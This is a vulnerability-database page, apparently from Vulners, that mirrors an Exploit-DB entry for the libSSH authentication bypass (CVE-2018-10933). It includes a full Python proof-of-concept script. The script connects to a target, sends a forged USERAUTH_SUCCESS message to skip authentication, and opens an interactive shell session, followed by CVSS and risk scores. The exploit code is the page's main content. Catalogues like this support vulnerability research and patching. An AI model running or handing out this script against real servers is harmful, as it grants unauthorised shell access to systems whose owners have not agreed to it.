Lucene search
+L

libSSH - Authentication Bypass

🗓️ 18 Oct 2018 00:00:00Reported by Dayanç SoyadlıType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 220 Views

libSSH Authentication Bypass python exploit to bypass authentication without providing credentials

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
17 Oct 201818:44
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
1 Apr 202413:47
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
17 Oct 201814:14
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
8 Oct 202622:17
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
20 Oct 201815:34
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
17 Oct 201809:01
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
18 Oct 201819:13
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-10933
5 Jul 202619:52
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
21 Oct 201820:41
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Authentication in Libssh
1 Apr 202413:47
–githubexploit
Rows per page
#!/usr/bin/env python3
import paramiko
import socket
import argparse
from sys import argv, exit


parser = argparse.ArgumentParser(description="libSSH Authentication Bypass")
parser.add_argument('--host', help='Host')
parser.add_argument('-p', '--port', help='libSSH port', default=22)
parser.add_argument('-log', '--logfile', help='Logfile to write conn logs', default="paramiko.log")

args = parser.parse_args()


def BypasslibSSHwithoutcredentials(hostname, port):

    sock = socket.socket()
    try:
        sock.connect((str(hostname), int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        spawncmd = transport.open_session()
        spawncmd.invoke_shell()
        return 0

    except paramiko.SSHException as e:
        print("TCPForwarding disabled on remote/local server can't connect. Not Vulnerable")
        return 1
    except socket.error:
        print("Unable to connect.")
        return 1


def main():
    paramiko.util.log_to_file(args.logfile)
    try:
        hostname = args.host
        port = args.port
    except:
        parser.print_help()
        exit(1)
    BypasslibSSHwithoutcredentials(hostname, port)

if __name__ == '__main__':
    exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Oct 2018 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 26.4
CVSS 39.1
EPSS0.91789
220